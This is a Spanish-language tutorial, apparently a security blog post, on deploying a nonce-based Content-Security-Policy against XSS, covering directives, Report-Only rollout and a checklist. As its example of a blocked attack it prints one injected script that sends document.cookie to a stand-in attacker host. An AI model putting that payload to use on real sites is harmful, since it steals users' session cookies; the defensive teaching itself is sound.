CSP en la práctica: una Content-Security-Policy que frena el XSS sin romper tu web
Una Content-Security-Policy (CSP) es tu última línea de defensa contra el XSS: aunque a un atacante se le cuele un <script> en tu página, una CSP bien hecha impide que el navegador lo ejecute. El problema es que casi todas las CSP que se ven en producción están en uno de dos extremos: son tan permisivas que no bloquean nada, o rompen la web y acaban desactivadas. Vamos a montar una que de verdad sirva.
Qué hace exactamente
La CSP es una cabecera HTTP que declara, por tipo de recurso, desde qué orígenes puede cargar el navegador: script-src para scripts, style-src para estilos, img-src para imágenes, connect-src para fetch/XHR/WebSocket… La clave está en los scripts: con script-src 'self', el navegador se niega a ejecutar scripts en línea y scripts de otros orígenes. Ese rechazo del código en línea es el núcleo anti-XSS, porque el XSS reflejado y almacenado casi siempre inyecta código en línea.
El error que la deja inútil
El 90% de las CSP rotas se «arreglan» añadiendo 'unsafe-inline' a script-src. Y con eso vuelves a permitir exactamente lo que la CSP bloqueaba: el código en línea, incluido el que inyecta el atacante. Una política como esta da una falsa sensación de seguridad:
Content-Security-Policy: script-src 'self' 'unsafe-inline'
script-src 'self' 'unsafe-inline' no hace nada. Si tu CSP lleva 'unsafe-inline' en script-src, para efectos prácticos no tienes CSP.La forma correcta: nonces
Un nonce es un token aleatorio que el servidor genera en cada respuesta. Lo pones en la cabecera y en cada <script> legítimo de la página. El navegador solo ejecuta los scripts que llevan ese nonce; el código que inyecte un atacante no lo conoce, así que queda bloqueado:
# El servidor genera algo como: nZ2spB9v... (aleatorio, por petición)
Content-Security-Policy: script-src 'nonce-nZ2spB9v' 'strict-dynamic'
<!-- este se ejecuta -->
<script nonce="nZ2spB9v">initApp();</script>
<!-- inyectado por el atacante: sin nonce, el navegador lo bloquea -->
<script>fetch('https://malo.example/'+document.cookie)</script>
'strict-dynamic' es el complemento moderno: permite que un script ya de confianza (el que lleva nonce) cargue a su vez otros scripts, sin que tengas que ir enumerando dominios de CDN uno a uno. Es el patrón recomendado hoy y hace que la política no dependa de listas blancas frágiles.
'unsafe-inline', 'unsafe-eval', comodines *) y trae presets estrictos listos para copiar.Las directivas que importan
default-src 'self'— la red de seguridad: lo que no digas explícitamente, hereda de aquí.script-src 'nonce-…' 'strict-dynamic'— el corazón anti-XSS.object-src 'none'— mata los plugins (Flash y compañía), un vector clásico.base-uri 'none'— evita que inyecten un<base>para secuestrar rutas relativas.frame-ancestors 'none'(o'self') — anti-clickjacking; sustituye aX-Frame-Options.form-action 'self'— que tus formularios no puedan postear a un dominio ajeno.style-src 'self' 'unsafe-inline'— pragmático: nonizar todos los estilos es un incordio y la inyección de estilos es mucho menos peligrosa que la de scripts.img-src,connect-src,font-src— ajústalos a lo que de verdad usas.upgrade-insecure-requests— fuerza HTTPS en las subpeticiones.
Despliega sin romper nada
No pongas una CSP nueva directa en modo bloqueo. Primero en modo informe: el navegador te reporta lo que habría bloqueado, pero no bloquea nada. Recoges las violaciones, ajustas, y solo entonces la haces obligatoria.
# Fase 1: observa sin romper
Content-Security-Policy-Report-Only: default-src 'self'; report-to csp-endpoint
# Fase 2 (cuando ya no haya falsos positivos): cambia la cabecera a
Content-Security-Policy: default-src 'self'; ...
Lo que te va a romper (y cómo se arregla)
- Manejadores en línea (
onclick="…",onmouseover="…"): una CSP por nonces no puede firmar un atributo, así que quedan bloqueados. Pásalos aaddEventListener. - Estilos en línea (
style="…"y<style>): normalmente sobreviven constyle-src 'unsafe-inline'; si quieres ser estricto, usa nonces o hashes también en estilos. - Widgets de terceros (analítica, mapas): con
'strict-dynamic', un cargador con nonce puede traerlos; si no, añade su origen concreto (nunca un*). eval(): algunas librerías viejas lo necesitan.'unsafe-eval'es el último recurso y conviene evitarlo.
'unsafe-inline' en script-src. Por eso, si miras el HTML de CyberEscudo, no encontrarás ni un solo onclick=: todo va por addEventListener. Predicar con el ejemplo obliga a escribir mejor JavaScript.Verifícala
Dos comprobaciones rápidas. En el navegador, abre la consola: cada recurso bloqueado deja un aviso de Refused to load/execute con la directiva culpable. Y para una auditoría de la cabecera —sin instalar nada— pega tu dominio en el analizador:
X-Content-Type-Options, Referrer-Policy…), señala las que faltan o son débiles y te da una nota. Ideal para confirmar que tu CSP llegó bien a producción.Checklist
- ✅ Nada de
'unsafe-inline'enscript-src - ✅
script-src 'nonce-…' 'strict-dynamic' - ✅
object-src 'none',base-uri 'none' - ✅
frame-ancestorspara el clickjacking - ✅
form-action,connect-srcyimg-srcacotados - ✅ Estreno en
Report-Only, luego a bloqueo - ✅ Cero manejadores
onclick=en el HTML - ✅ Verificada en consola y con el analizador de cabeceras
Una CSP no sustituye a escapar la salida ni a validar la entrada: es la red que te salva cuando algo se cuela. Y montada por nonces, con diez líneas de cabecera conviertes un XSS explotable en un intento que el navegador tira a la basura.